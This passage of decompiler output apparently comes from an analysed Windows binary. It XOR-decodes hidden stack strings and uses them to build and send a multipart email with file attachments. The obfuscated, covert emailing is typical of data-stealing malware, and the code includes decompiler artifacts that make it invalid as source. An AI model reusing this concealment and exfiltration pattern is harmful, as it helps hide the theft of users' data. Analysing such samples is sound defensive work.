					return E00424873(0,  *((intOrPtr*)(_t868 + 0x598)));
				} else {
					_push(2);
					_push(_t868 + 0x14);
					_t747 = _t735;
					if(E0041BC30(_t868 + 0x14, _t747) != 0xffffffff) {
						_t627 =  *((intOrPtr*)(_t851 + 0x14));
						_t852 = _t851;
						0x62 = 0x20;
						_t810 = 0x10;
						asm("pushad");
						asm("popad");
						if( *((intOrPtr*)(_t851 + 0x30)) == 0) {
							if(_t627 != 0) {
								 *((char*)(_t868 + 0x30)) = 0x6d;
								 *((char*)(_t868 + 0x31)) = 0x59;
								 *((char*)(_t868 + 0x32)) = 0x44;
								 *((char*)(_t868 + 0x33)) = 0x46;
								 *((char*)(_t868 + 0x34)) = 0x11;
								 *((char*)(_t868 + 0x35)) = 0xb;
								 *((char*)(_t868 + 0x36)) = 0xe;
								 *((char*)(_t868 + 0x37)) = 0x58;
								 *((char*)(_t868 + 0x38)) = 0x26;
								 *((char*)(_t868 + 0x39)) = 0x21;
								 *((char*)(_t868 + 0x3a)) = 0x2b;
								_t725 = 0;
								do {
									 *(_t868 + _t725 + 0x30) =  *(_t868 + _t725 + 0x30) ^ 0x0000002b;
									_t725 = _t725 + 1;
								} while (_t725 < 0xb);
								if( *((intOrPtr*)(_t852 + 0x18)) < _t810) {
									_t726 = _t852 + 4;
								} else {
									_t726 =  *((intOrPtr*)(_t852 + 4));
								}
								_t747 = _t868 + 0x1b0;
								 *0x431f14(_t747, _t868 + 0x34, _t726);
								_t868 = _t868 + 0xc;
							}
						} else {
							if(_t627 != 0) {
								 *((char*)(_t868 + 0x1c)) = 0x40;
								 *((char*)(_t868 + 0x1d)) = 0x74;
								 *((char*)(_t868 + 0x1e)) = 0x69;
								 *((char*)(_t868 + 0x1f)) = 0x6b;
								 *((char*)(_t868 + 0x20)) = 0x3c;
								 *((char*)(_t868 + 0x21)) = 0x26;
								 *((char*)(_t868 + 0x22)) = 0x23;
								 *((char*)(_t868 + 0x23)) = 0x75;
								 *((char*)(_t868 + 0x24)) = 0x26;
								 *((char*)(_t868 + 0x25)) = 0x3a;
								 *((char*)(_t868 + 0x26)) = 0x23;
								 *((char*)(_t868 + 0x27)) = 0x75;
								 *((char*)(_t868 + 0x28)) = 0x38;
								 *((char*)(_t868 + 0x29)) = 0xb;
								 *((char*)(_t868 + 0x2a)) = 0xc;
								 *((char*)(_t868 + 0x2b)) = 6;
								_t730 = 0;
								do {
									 *(_t868 + _t730 + 0x1c) =  *(_t868 + _t730 + 0x1c) ^ 0x00000006;
									_t730 = _t730 + 1;
								} while (_t730 < _t810);
								if( *((intOrPtr*)(_t852 + 0x18)) < _t810) {
									_t805 = _t852 + 4;
								} else {
									_t805 =  *((intOrPtr*)(_t852 + 4));
								}
								if( *((intOrPtr*)(_t852 + 0x34)) < _t810) {
									_t731 = _t852 + 0x20;
								} else {
									_t731 =  *((intOrPtr*)(_t852 + 0x20));
								}
								_t54 = _t868 + 0x24; // 0x26
								_t747 = _t54;
								 *0x431f14(_t868 + 0x1b4, _t747, _t731, _t805);
								_t868 = _t868 + 0x10;
							}
						}
						if(lstrlenA(_t868 + 0x1a8) == 0) {
							L25:
							 *((char*)(_t868 + 0x117)) = 0xe8;
							 *((char*)(_t868 + 0x11d)) = 0xe8;
							 *((char*)(_t868 + 0x125)) = 0xab;
							 *((char*)(_t868 + 0x24)) = 0xab;
							_push(_t868 + 0x114);
							_push(_t747);
							_t853 = 0x14;
							_t864 = 0xc4;
							 *((char*)(_t868 + 0x118)) = 0xa9;
							 *((char*)(_t868 + 0x119)) = 0xd7;
							 *((char*)(_t868 + 0x11a)) = 0xd9;
							 *((char*)(_t868 + 0x11c)) = 0x17;
							 *((char*)(_t868 + 0x11d)) = 0xfb;
							 *((char*)(_t868 + 0x11e)) = 0x35;
							 *((char*)(_t868 + 0x11f)) = 0x6a;
							 *((char*)(_t868 + 0x120)) = 0x1d;
							 *((char*)(_t868 + 0x122)) = 0x88;
							 *((char*)(_t868 + 0x123)) = 0xc5;
							 *((char*)(_t868 + 0x124)) = 0x84;
							 *((char*)(_t868 + 0x125)) = 0xc6;
							 *((char*)(_t868 + 0x126)) = 0xa7;
							 *((char*)(_t868 + 0x127)) = 0xf4;
							 *((char*)(_t868 + 0x128)) = 0xc8;
							 *((char*)(_t868 + 0x12a)) = 0x67;
							 *((char*)(_t868 + 0x12b)) = 0xda;
							 *((char*)(_t868 + 0x20)) = 0xda;
							 *((char*)(_t868 + 0x21)) = 0x6d;
							 *((char*)(_t868 + 0x22)) = 0xa6;
							 *((char*)(_t868 + 0x23)) = 0xf8;
							 *((char*)(_t868 + 0x24)) = 0xda;
							 *((char*)(_t868 + 0x25)) = 0x96;
							 *((char*)(_t868 + 0x26)) = 0xe6;
							 *((char*)(_t868 + 0x27)) = 0xbe;
							 *((char*)(_t868 + 0x29)) = 0xe7;
							 *((char*)(_t868 + 0x2a)) = 0x81;
							 *((char*)(_t868 + 0x2b)) = 0x6e;
							 *((char*)(_t868 + 0x2c)) = 0x18;
							 *((char*)(_t868 + 0x2d)) = 0x50;
							 *((char*)(_t868 + 0x2e)) = 0xad;
							 *((char*)(_t868 + 0x2f)) = 0x3a;
							 *((char*)(_t868 + 0x30)) = 0x8d;
							 *((char*)(_t868 + 0x31)) = 0xb4;
							 *((char*)(_t868 + 0x32)) = 0xbe;
							 *((char*)(_t868 + 0x33)) = 0xe4;
							if(E0041BC30(lstrlenA(E0040BDA0(_t868 + 0x20, _t853)),  *((intOrPtr*)(_t868 + 0x5b0)), _t632, _t633) == 0xffffffff) {
								goto L31;
							} else {
								_t854 =  *((intOrPtr*)(_t868 + 0x18));
								if( *((intOrPtr*)(_t854 + 0x4c)) == 0) {
									_t862 =  *((intOrPtr*)(_t868 + 0x5b0));
									goto L33;
								} else {
									 *((char*)(_t868 + 0x30)) = 0x54;
									 *((char*)(_t868 + 0x31)) = 0x6f;
									 *((char*)(_t868 + 0x32)) = 0x3a;
									 *((char*)(_t868 + 0x33)) = 0x20;
									 *((char*)(_t868 + 0x34)) = 0x25;
									 *((char*)(_t868 + 0x35)) = 0x73;
									 *((char*)(_t868 + 0x36)) = 0xd;
									 *((char*)(_t868 + 0x37)) = 0xa;
									 *((char*)(_t868 + 0x38)) = 0;
									if( *((intOrPtr*)(_t854 + 0x50)) < 0x10) {
										_t716 = _t854 + 0x3c;
									} else {
										_t716 =  *((intOrPtr*)(_t854 + 0x3c));
									}
									 *0x431f14(_t868 + 0x1b0, _t868 + 0x34, _t716);
									_t868 = _t868 + 0xc;
									_t719 = lstrlenA(_t868 + 0x1a8);
									_t862 =  *((intOrPtr*)(_t868 + 0x5b0));
									if(E0041BC30(_t868 + 0x1ac, _t862, _t868 + 0x1ac, _t719) != 0xffffffff) {
										L33:
										if( *((intOrPtr*)(_t854 + 0x68)) == 0) {
											L40:
											if( *((intOrPtr*)(_t854 + 0xa8)) == 0 ||  *((intOrPtr*)(_t854 + 0xa0)) == 0 ||  *((intOrPtr*)(_t854 + 0xac)) == 0) {
												_t641 =  *0x431c88; // 0x0
												 *0x431c88 = _t641 * 0x3f;
												if(E0040C3C0(_t854, _t862) == 0) {
													goto L31;
												} else {
													goto L77;
												}
											} else {
												 *(_t868 + 0x14) = _t864 | 0x000006d0;
												E0040C240(0xda, _t868 + 0x128);
												 *((char*)(_t868 + 0xd5)) = 0xda;
												_t868 = _t868 + 4;
												 *((char*)(_t868 + 0xbf)) = 0xdc;
												 *((char*)(_t868 + 0xc2)) = 0xdc;
												 *((char*)(_t868 + 0xcd)) = 0xdc;
												 *((char*)(_t868 + 0xd2)) = 0xdc;
												 *(_t868 + 0xbc) = 0xeb;
												 *((char*)(_t868 + 0xbd)) = 0xc7;
												 *((char*)(_t868 + 0xbe)) = 0xc6;
												 *((char*)(_t868 + 0xc0)) = 0xcd;
												 *((char*)(_t868 + 0xc1)) = 0xc6;
												 *((char*)(_t868 + 0xc3)) = 0x85;
												 *((char*)(_t868 + 0xc4)) = 0xfc;
												 *((char*)(_t868 + 0xc5)) = 0xd1;
												 *((char*)(_t868 + 0xc6)) = 0xd8;
												 *((char*)(_t868 + 0xc7)) = 0xcd;
												 *((char*)(_t868 + 0xc8)) = 0x92;
												 *((char*)(_t868 + 0xc9)) = 0x88;
												 *((char*)(_t868 + 0xca)) = 0xc5;
												 *((char*)(_t868 + 0xcb)) = 0xdd;
												 *((char*)(_t868 + 0xcc)) = 0xc4;
												 *((char*)(_t868 + 0xce)) = 0xc1;
												 *((char*)(_t868 + 0xcf)) = 0xd8;
												 *((char*)(_t868 + 0xd0)) = 0xc9;
												 *((char*)(_t868 + 0xd3)) = 0x87;
												 *((char*)(_t868 + 0xd4)) = 0xc5;
												 *((char*)(_t868 + 0xd5)) = 0xc1;
												 *((char*)(_t868 + 0xd6)) = 0xd0;
												 *((char*)(_t868 + 0xd7)) = 0xcd;
												 *((char*)(_t868 + 0xd8)) = 0xcc;
												 *((char*)(_t868 + 0xd9)) = 0x93;
												 *((char*)(_t868 + 0xda)) = 0xa5;
												 *((char*)(_t868 + 0xdb)) = 0xa2;
												 *((char*)(_t868 + 0xdc)) = 0xa8;
												_t649 = 0;
												do {
													 *(_t868 + _t649 + 0xbc) =  *(_t868 + _t649 + 0xbc) ^ 0x000000a8;
													_t649 = _t649 + 1;
												} while (_t649 < 0x21);
												if(E0041BC30(_t868 + 0xc0, _t862, _t868 + 0xc0, lstrlenA(_t868 + 0xbc)) == 0xffffffff) {
													goto L31;
												} else {
													 *((char*)(_t868 + 0x20)) = 0xe4;
													 *((char*)(_t868 + 0x21)) = 0x15;
													 *((char*)(_t868 + 0x22)) = 0x39;
													 *((char*)(_t868 + 0x23)) = 0x60;
													 *((char*)(_t868 + 0x24)) = 0x4b;
													 *((char*)(_t868 + 0x25)) = 0x4b;
													 *((char*)(_t868 + 0x26)) = 0x30;
													 *((char*)(_t868 + 0x27)) = 0x2e;
													 *((char*)(_t868 + 0x28)) = 0x71;
													 *((char*)(_t868 + 0x29)) = 0xe4;
													 *((char*)(_t868 + 0x2a)) = 0xb1;
													 *((char*)(_t868 + 0x2b)) = 0xf5;
													 *((char*)(_t868 + 0x2c)) = 0x81;
													 *((char*)(_t868 + 0x2d)) = 0x8f;
													 *((char*)(_t868 + 0x2e)) = 0x5f;
													 *((char*)(_t868 + 0x2f)) = 0x9b;
													 *((char*)(_t868 + 0x30)) = 0x3f;
													 *((char*)(_t868 + 0x31)) = 0x81;
													 *((char*)(_t868 + 0x32)) = 0xdb;
													 *((char*)(_t868 + 0x34)) = 0xdb;
													 *((char*)(_t868 + 0x35)) = 0x8b;
													 *((char*)(_t868 + 0x36)) = 0x32;
													 *((char*)(_t868 + 0x37)) = 0x91;
													 *((char*)(_t868 + 0x38)) = 0x52;
													 *((char*)(_t868 + 0x39)) = 0xad;
													 *((char*)(_t868 + 0x3a)) = 0xf2;
													 *((char*)(_t868 + 0x3b)) = 0xd0;
													 *((char*)(_t868 + 0x3c)) = 0x93;
													 *((char*)(_t868 + 0x3d)) = 0xd9;
													 *((char*)(_t868 + 0x3e)) = 8;
													 *((char*)(_t868 + 0x3f)) = 0x5c;
													 *((char*)(_t868 + 0x40)) = 0x51;
													 *((char*)(_t868 + 0x41)) = 0x2f;
													 *((char*)(_t868 + 0x42)) = 0x25;
													 *((char*)(_t868 + 0x43)) = 0x15;
													 *((char*)(_t868 + 0x44)) = 0x56;
													 *((char*)(_t868 + 0x45)) = 0x77;
													 *((char*)(_t868 + 0x46)) = 0xc4;
													_t654 = E0040BDA0(_t868 + 0x34, 0x13, _t868 + 0x1c);
													 *0x431f14(_t868 + 0x1b0, _t654, _t868 + 0x128);
													_t868 = _t868 + 0xc;
													if(E0041BC30(lstrlenA(_t868 + 0x1a8), _t862, _t868 + 0x1ac, _t657) == 0xffffffff) {
														goto L31;
													} else {
														 *0x431f14(_t868 + 0x1ac, "--%s\r\n", _t868 + 0x128);
														_t868 = _t868 + 0xc;
														if(E0041BC30(_t868 + 0x1ac, _t862, _t868 + 0x1ac, lstrlenA(_t868 + 0x1a8)) == 0xffffffff) {
															goto L31;
														} else {
															_t866 =  *((intOrPtr*)(_t868 + 0x18));
															if(E0040C3C0(_t866, _t862) == 0) {
																goto L31;
															} else {
																 *0x431f14(_t868 + 0x1ac, "--%s\r\n", _t868 + 0x128);
																_t868 = _t868 + 0xc;
																_push(lstrlenA(_t868 + 0x1a8));
																_push(_t868 + 0x1ac);
																_t764 = _t862;
																if(E0041BC30(_t667, _t764) == 0xffffffff) {
																	goto L31;
																} else {
																	 *((char*)(_t868 + 0x9b)) = 0x48;
																	 *((char*)(_t868 + 0x9c)) = 0x48;
																	 *((char*)(_t868 + 0xa5)) = 0xe9;
																	 *((char*)(_t868 + 0xaa)) = 0xe9;
																	 *((char*)(_t868 + 0x89)) = 0x29;
																	 *((char*)(_t868 + 0x8d)) = 0xd0;
																	 *((char*)(_t868 + 0x92)) = 0xd0;
																	 *((char*)(_t868 + 0xbb)) = 0xd0;
																	 *((char*)(_t868 + 0x39)) = 0x29;
																	 *((char*)(_t868 + 0xaf)) = 0xdf;
																	 *((char*)(_t868 + 0xb4)) = 0xdf;
																	 *((char*)(_t868 + 0xba)) = 0xdf;
																	 *((char*)(_t868 + 0x88)) = 0xb0;
																	 *((char*)(_t868 + 0x8a)) = 0x6e;
																	 *((char*)(_t868 + 0x8b)) = 0x9e;
																	 *((char*)(_t868 + 0x8c)) = 0x34;
																	 *((char*)(_t868 + 0x8e)) = 0x33;
																	 *((char*)(_t868 + 0x8f)) = 0xb5;
																	 *((char*)(_t868 + 0x90)) = 0xf6;
																	 *((char*)(_t868 + 0x91)) = 0x50;
																	 *((char*)(_t868 + 0x93)) = 0x37;
																	 *((char*)(_t868 + 0x94)) = 0xdb;
																	 *((char*)(_t868 + 0x95)) = 0x69;
																	 *((char*)(_t868 + 0x96)) = 0x84;
																	 *((char*)(_t868 + 0x97)) = 0x23;
																	 *((char*)(_t868 + 0x98)) = 3;
																	 *((char*)(_t868 + 0x99)) = 0xb5;
																	 *((char*)(_t868 + 0x9a)) = 0xce;
																	 *((char*)(_t868 + 0x9d)) = 1;
																	 *((char*)(_t868 + 0x9e)) = 0x78;
																	 *((char*)(_t868 + 0x9f)) = 0xa;
																	 *((char*)(_t868 + 0xa0)) = 0x12;
																	 *((char*)(_t868 + 0xa1)) = 0xa1;
																	 *((char*)(_t868 + 0xa2)) = 0x1d;
																	 *((char*)(_t868 + 0xa3)) = 0x83;
																	 *((char*)(_t868 + 0xa4)) = 0x74;
																	 *((char*)(_t868 + 0xa6)) = 0x5b;
																	 *((char*)(_t868 + 0xa7)) = 0x5a;
																	 *((char*)(_t868 + 0xa8)) = 0x4b;
																	 *((char*)(_t868 + 0xa9)) = 0x27;
																	 *((char*)(_t868 + 0xab)) = 0x3f;
																	 *((char*)(_t868 + 0xac)) = 0x45;
																	 *((char*)(_t868 + 0xad)) = 0xca;
																	 *((char*)(_t868 + 0xae)) = 0x38;
																	 *((char*)(_t868 + 0xb0)) = 0x1b;
																	 *((char*)(_t868 + 0xb1)) = 0x99;
																	 *((char*)(_t868 + 0xb2)) = 0x65;
																	 *((char*)(_t868 + 0xb3)) = 0x54;
																	 *((char*)(_t868 + 0xb5)) = 0x90;
																	 *((char*)(_t868 + 0xb6)) = 0xa4;
																	 *((char*)(_t868 + 0xb7)) = 0x45;
																	 *((char*)(_t868 + 0xb8)) = 0x19;
																	 *((char*)(_t868 + 0xb9)) = 0x5f;
																	 *((char*)(_t868 + 0x30)) = 0x93;
																	 *((char*)(_t868 + 0x31)) = 0x46;
																	 *((char*)(_t868 + 0x32)) = 0;
																	 *((char*)(_t868 + 0x33)) = 0xd6;
																	 *((char*)(_t868 + 0x34)) = 0x31;
																	 *((char*)(_t868 + 0x35)) = 0x9e;
																	 *((char*)(_t868 + 0x36)) = 0x41;
																	 *((char*)(_t868 + 0x37)) = 0x78;
																	 *((char*)(_t868 + 0x38)) = 0x5e;
																	 *((char*)(_t868 + 0x3a)) = 0xa0;
																	 *((char*)(_t868 + 0x3b)) = 0x2e;
																	 *((char*)(_t868 + 0x3c)) = 0x5f;
																	 *((char*)(_t868 + 0x3d)) = 0xb7;
																	 *((char*)(_t868 + 0x3e)) = 0xbd;
																	 *((char*)(_t868 + 0x3f)) = 0x2d;
																	 *((char*)(_t868 + 0x40)) = 0x4d;
																	 *((char*)(_t868 + 0x41)) = 0x97;
																	 *((char*)(_t868 + 0x42)) = 0x7b;
																	 *((char*)(_t868 + 0x43)) = 0xfb;
																	 *((char*)(_t868 + 0x44)) = 0xf9;
																	 *((char*)(_t868 + 0x45)) = 0x53;
																	 *((char*)(_t868 + 0x58)) = 0x53;
																	 *((char*)(_t868 + 0x46)) = 0xd1;
																	 *((char*)(_t868 + 0x47)) = 0x45;
																	 *((char*)(_t868 + 0x48)) = 0x3c;
																	 *((char*)(_t868 + 0x49)) = 0x8e;
																	 *((char*)(_t868 + 0x4a)) = 0x32;
																	 *((char*)(_t868 + 0x4b)) = 0xc0;
																	 *((char*)(_t868 + 0x4c)) = 0xe0;
																	 *((char*)(_t868 + 0x4d)) = 0x5c;
																	 *((char*)(_t868 + 0x4e)) = 0xf9;
																	 *((char*)(_t868 + 0x4f)) = 0xd3;
																	 *((char*)(_t868 + 0x50)) = 8;
																	 *((char*)(_t868 + 0x51)) = 0x2d;
																	 *((char*)(_t868 + 0x52)) = 0x69;
																	 *((char*)(_t868 + 0x53)) = 6;
																	 *((char*)(_t868 + 0x54)) = 0xfc;
																	 *((char*)(_t868 + 0x55)) = 0x83;
																	 *((char*)(_t868 + 0x56)) = 3;
																	 *((char*)(_t868 + 0x57)) = 0x41;
																	 *((char*)(_t868 + 0x59)) = 0xc8;
																	 *((char*)(_t868 + 0x5a)) = 8;
																	 *((char*)(_t868 + 0x5b)) = 0x11;
																	 *((char*)(_t868 + 0x5c)) = 0x5e;
																	 *((char*)(_t868 + 0x5d)) = 0x92;
																	 *((char*)(_t868 + 0x5e)) = 0x81;
																	 *((char*)(_t868 + 0x5f)) = 0x2e;
																	 *((char*)(_t868 + 0x60)) = 9;
																	 *((char*)(_t868 + 0x61)) = 0xae;
																	 *((char*)(_t868 + 0x62)) = 0x2b;
																	 *((char*)(_t868 + 0x63)) = 0x30;
																	_t673 = 0;
																	do {
																		 *((char*)(_t868 + _t673 + 0x88)) =  *((intOrPtr*)(_t868 + _t673 + 0x88)) +  *((intOrPtr*)(_t868 + _t673 + 0x30));
																		 *((char*)(_t868 + _t673 + 0x89)) =  *((intOrPtr*)(_t868 + _t673 + 0x89)) +  *((intOrPtr*)(_t868 + _t673 + 0x31));
																		 *((char*)(_t868 + _t673 + 0x8a)) =  *((intOrPtr*)(_t868 + _t673 + 0x8a)) +  *((intOrPtr*)(_t868 + _t673 + 0x32));
																		 *((char*)(_t868 + _t673 + 0x8b)) =  *((intOrPtr*)(_t868 + _t673 + 0x8b)) +  *((intOrPtr*)(_t868 + _t673 + 0x33));
																		_t673 = _t673 + 4;
																	} while (_t673 < 0x34);
																	if( *((intOrPtr*)(_t866 + 0xa4)) < 0x10) {
																		_t674 = _t866 + 0x90;
																	} else {
																		_t674 =  *((intOrPtr*)(_t866 + 0x90));
																	}
																	 *0x431f14(_t868 + 0x1b0, _t868 + 0x8c, _t674);
																	_t868 = _t868 + 0xc;
																	if(E0041BC30(lstrlenA(_t868 + 0x1a8), _t862, _t868 + 0x1ac, _t677) != 0xffffffff) {
																		 *((char*)(_t868 + 0x6f)) = 0x9d;
																		 *((char*)(_t868 + 0x82)) = 0x9d;
																		 *((char*)(_t868 + 0x66)) = 0x7b;
																		 *((char*)(_t868 + 0x50)) = 0xef;
																		 *((char*)(_t868 + 0x52)) = 0xef;
																		 *(_t868 + 0x64) = 0x64;
																		 *((char*)(_t868 + 0x65)) = 0x99;
																		 *((char*)(_t868 + 0x67)) = 0xe3;
																		 *((char*)(_t868 + 0x68)) = 0x8b;
																		 *((char*)(_t868 + 0x69)) = 0xe;
																		 *((char*)(_t868 + 0x6a)) = 0x82;
																		 *((char*)(_t868 + 0x6b)) = 0xb4;
																		 *((char*)(_t868 + 0x6c)) = 0x25;
																		 *((char*)(_t868 + 0x6d)) = 0xe6;
																		 *((char*)(_t868 + 0x6e)) = 0xac;
																		 *((char*)(_t868 + 0x70)) = 0x8d;
																		 *((char*)(_t868 + 0x71)) = 0x19;
																		 *((char*)(_t868 + 0x72)) = 0x39;
																		 *((char*)(_t868 + 0x73)) = 0xcb;
																		 *((char*)(_t868 + 0x74)) = 0xd1;
																		 *((char*)(_t868 + 0x75)) = 0x15;
																		 *((char*)(_t868 + 0x76)) = 0x5b;
																		 *((char*)(_t868 + 0x77)) = 0x57;
																		 *((char*)(_t868 + 0x78)) = 0x3e;
																		 *((char*)(_t868 + 0x79)) = 0x63;
																		 *((char*)(_t868 + 0x7a)) = 0xf1;
																		 *((char*)(_t868 + 0x7b)) = 0;
																		 *((char*)(_t868 + 0x7c)) = 0xd2;
																		 *((char*)(_t868 + 0x7d)) = 0x15;
																		 *((char*)(_t868 + 0x7e)) = 0xbe;
																		 *((char*)(_t868 + 0x7f)) = 0x45;
																		 *((char*)(_t868 + 0x80)) = 0xf2;
																		 *((char*)(_t868 + 0x81)) = 0x15;
																		 *((char*)(_t868 + 0x83)) = 0x1e;
																		 *((char*)(_t868 + 0x84)) = 0xdb;
																		 *((char*)(_t868 + 0x85)) = 0x81;
																		 *((char*)(_t868 + 0x86)) = 0xe5;
																		 *((char*)(_t868 + 0x87)) = 0x9f;
																		 *((char*)(_t868 + 0x30)) = 0x27;
																		 *((char*)(_t868 + 0x31)) = 0xf6;
																		 *((char*)(_t868 + 0x32)) = 0x15;
																		 *((char*)(_t868 + 0x33)) = 0x97;
																		 *((char*)(_t868 + 0x34)) = 0xee;
																		 *((char*)(_t868 + 0x35)) = 0x60;
																		 *((char*)(_t868 + 0x36)) = 0xf6;
																		 *((char*)(_t868 + 0x37)) = 0x99;
																		 *((char*)(_t868 + 0x38)) = 0x51;
																		 *((char*)(_t868 + 0x39)) = 0x94;
																		 *((char*)(_t868 + 0x3a)) = 0xcd;
																		 *((char*)(_t868 + 0x3b)) = 0xf3;
																		 *((char*)(_t868 + 0x3c)) = 0xfe;
																		 *((char*)(_t868 + 0x3d)) = 0x7f;
																		 *((char*)(_t868 + 0x3e)) = 0x5c;
																		 *((char*)(_t868 + 0x3f)) = 0xb9;
																		 *((char*)(_t868 + 0x40)) = 0xfc;
																		 *((char*)(_t868 + 0x41)) = 0x70;
																		 *((char*)(_t868 + 0x42)) = 0x35;
																		 *((char*)(_t868 + 0x43)) = 0x34;
																		 *((char*)(_t868 + 0x44)) = 0x51;
																		 *((char*)(_t868 + 0x45)) = 7;
																		 *((char*)(_t868 + 0x46)) = 0x98;
																		 *((char*)(_t868 + 0x47)) = 0x6e;
																		 *((char*)(_t868 + 0x48)) = 0xb5;
																		 *((char*)(_t868 + 0x49)) = 0x2f;
																		 *((char*)(_t868 + 0x4a)) = 0x9e;
																		 *((char*)(_t868 + 0x4b)) = 0x27;
																		 *((char*)(_t868 + 0x4c)) = 0x93;
																		 *((char*)(_t868 + 0x4d)) = 0x66;
																		 *((char*)(_t868 + 0x4e)) = 0xf8;
																		 *((char*)(_t868 + 0x4f)) = 0x28;
																		 *((char*)(_t868 + 0x51)) = 0x8c;
																		 *((char*)(_t868 + 0x53)) = 0x9f;
																		_t681 = 0;
																		do {
																			 *(_t868 + _t681 + 0x64) =  *(_t868 + _t681 + 0x64) ^  *(_t868 + _t681 + 0x30);
																			 *(_t868 + _t681 + 0x65) =  *(_t868 + _t681 + 0x65) ^  *(_t868 + _t681 + 0x31);
																			 *(_t868 + _t681 + 0x66) =  *(_t868 + _t681 + 0x66) ^  *(_t868 + _t681 + 0x32);
																			 *(_t868 + _t681 + 0x67) =  *(_t868 + _t681 + 0x67) ^  *(_t868 + _t681 + 0x33);
																			 *(_t868 + _t681 + 0x68) =  *(_t868 + _t681 + 0x68) ^  *(_t868 + _t681 + 0x34);
																			 *(_t868 + _t681 + 0x69) =  *(_t868 + _t681 + 0x69) ^  *(_t868 + _t681 + 0x35);
																			_t681 = _t681 + 6;
																		} while (_t681 < 0x24);
																		if(E0041BC30(lstrlenA(_t868 + 0x64), _t862, _t868 + 0x68, _t683) == 0xffffffff) {
																			goto L31;
																		} else {
																			 *((char*)(_t868 + 0xe2)) = 0x3b;
																			 *((char*)(_t868 + 0xe5)) = 0x3b;
																			 *((char*)(_t868 + 0xf2)) = 0x3b;
																			 *((char*)(_t868 + 0xfd)) = 0x3b;
																			 *((char*)(_t868 + 0x105)) = 0x3b;
																			 *((char*)(_t868 + 0xe0)) = 0x16;
																			 *((char*)(_t868 + 0xe1)) = 0x3a;
																			 *((char*)(_t868 + 0xe3)) = 0x21;
																			 *((char*)(_t868 + 0xe4)) = 0x30;
																			 *((char*)(_t868 + 0xe6)) = 0x21;
																			 *((char*)(_t868 + 0xe7)) = 0x78;
																			 *((char*)(_t868 + 0xe8)) = 0x11;
																			 *((char*)(_t868 + 0xe9)) = 0x3c;
																			 *((char*)(_t868 + 0xea)) = 0x26;
																			 *((char*)(_t868 + 0xeb)) = 0x25;
																			 *((char*)(_t868 + 0xec)) = 0x3a;
																			 *((char*)(_t868 + 0xed)) = 0x26;
																			 *((char*)(_t868 + 0xee)) = 0x3c;
																			 *((char*)(_t868 + 0xef)) = 0x21;
																			 *((char*)(_t868 + 0xf0)) = 0x3c;
																			 *((char*)(_t868 + 0xf1)) = 0x3a;
																			 *((char*)(_t868 + 0xf3)) = 0x6f;
																			 *((char*)(_t868 + 0xf4)) = 0x75;
																			 *((char*)(_t868 + 0xf5)) = 0x34;
																			 *((char*)(_t868 + 0xf6)) = 0x21;
																			 *((char*)(_t868 + 0xf7)) = 0x21;
																			 *((char*)(_t868 + 0xf8)) = 0x34;
																			 *((char*)(_t868 + 0xf9)) = 0x36;
																			 *((char*)(_t868 + 0xfa)) = 0x3d;
																			 *((char*)(_t868 + 0xfb)) = 0x38;
																			 *((char*)(_t868 + 0xfc)) = 0x30;
																			 *((char*)(_t868 + 0xfe)) = 0x21;
																			 *((char*)(_t868 + 0xff)) = 0x6e;
																			 *((char*)(_t868 + 0x100)) = 0x75;
																			 *((char*)(_t868 + 0x101)) = 0x33;
																			 *((char*)(_t868 + 0x102)) = 0x3c;
																			 *((char*)(_t868 + 0x103)) = 0x39;
																			 *((char*)(_t868 + 0x104)) = 0x30;
																			 *((char*)(_t868 + 0x106)) = 0x34;
																			 *((char*)(_t868 + 0x107)) = 0x38;
																			 *((char*)(_t868 + 0x108)) = 0x30;
																			 *((char*)(_t868 + 0x109)) = 0x68;
																			 *((char*)(_t868 + 0x10a)) = 0x77;
																			 *((char*)(_t868 + 0x10b)) = 0x70;
																			 *((char*)(_t868 + 0x10c)) = 0x26;
																			 *((char*)(_t868 + 0x10d)) = 0x77;
																			 *((char*)(_t868 + 0x10e)) = 0x58;
																			 *((char*)(_t868 + 0x10f)) = 0x5f;
																			 *((char*)(_t868 + 0x110)) = 0x55;
																			_t686 = 0;
																			do {
																				 *(_t868 + _t686 + 0xe0) =  *(_t868 + _t686 + 0xe0) ^ 0x00000055;
																				_t686 = _t686 + 1;
																			} while (_t686 < 0x31);
																			if( *((intOrPtr*)(_t866 + 0xa4)) < 0x10) {
																				_t687 = _t866 + 0x90;
																			} else {
																				_t687 =  *((intOrPtr*)(_t866 + 0x90));
																			}
																			 *0x431f14(_t868 + 0x1b0, _t868 + 0xe4, _t687);
																			_t868 = _t868 + 0xc;
																			_push(lstrlenA(_t868 + 0x1a8));
																			_push(_t868 + 0x1ac);
																			_t788 = _t862;
																			if(E0041BC30(_t690, _t788) != 0xffffffff) {
																				_push(2);
																				_push(_t868 + 0x18);
																				_t789 = _t862;
																				if(E0041BC30(_t868 + 0x18, _t789) != 0xffffffff) {
																					_push( *((intOrPtr*)(_t866 + 0xac)));
																					_push( *((intOrPtr*)(_t866 + 0xa8)));
																					_t791 = _t862;
																					if(E0041BC30(_t693, _t791) == 0xffffffff) {
																						goto L31;
																					} else {
																						_push(2);
																						_push(_t868 + 0x18);
																						_t792 = _t862;
																						if(E0041BC30(_t868 + 0x18, _t792) != 0xffffffff) {
																							if(E0041BC30(_t696, _t862, _t868 + 0x18, 2) != 0xffffffff) {
																								 *0x431f14(_t868 + 0x1ac, "--%s--\r\n", _t868 + 0x128);
																								if(E0041BC30(lstrlenA(_t868 + 0x1a8), _t862, _t868 + 0x1ac, _t700) != 0xffffffff) {
																									L77:
																									_t635 = 1;
																								} else {
																									_t635 = 0;
																								}
																							} else {
																								 *0x431c88 =  *(_t868 + 0x10) & 0x00000038;
																								_t635 = 0;
																							}
																						} else {
																							 *0x431c88 = 0;
																							_t635 = 0;
																						}
																					}
																				} else {
																					 *0x431c88 = 0xb;
																					_t635 = 0;
																				}
																			} else {
																				 *0x431c88 =  *0x431c88 | 0x000000e4;
																				_t635 = 0;
																			}
																		}
																	} else {
																		_t704 =  *0x431c88; // 0x0
																		 *0x431c88 =  !(_t704 *  *(_t868 + 0x10) & 0x0000000a) & 0x0000003e;
																		_t635 = 0;
																	}
																}
															}
														}
													}
												}
											}
										} else {
											 *((char*)(_t868 + 0x30)) = 0x8b;
											 *((char*)(_t868 + 0x31)) = 0xa2;
											 *((char*)(_t868 + 0x32)) = 0x94;
											 *((char*)(_t868 + 0x33)) = 0x67;
											 *((char*)(_t868 + 0x34)) = 0x43;
											 *((char*)(_t868 + 0x35)) = 0x92;
											 *((char*)(_t868 + 0x36)) = 0xa1;
											 *((char*)(_t868 + 0x37)) = 0x41;
											 *((char*)(_t868 + 0x38)) = 0xeb;
											 *((char*)(_t868 + 0x39)) = 0x38;
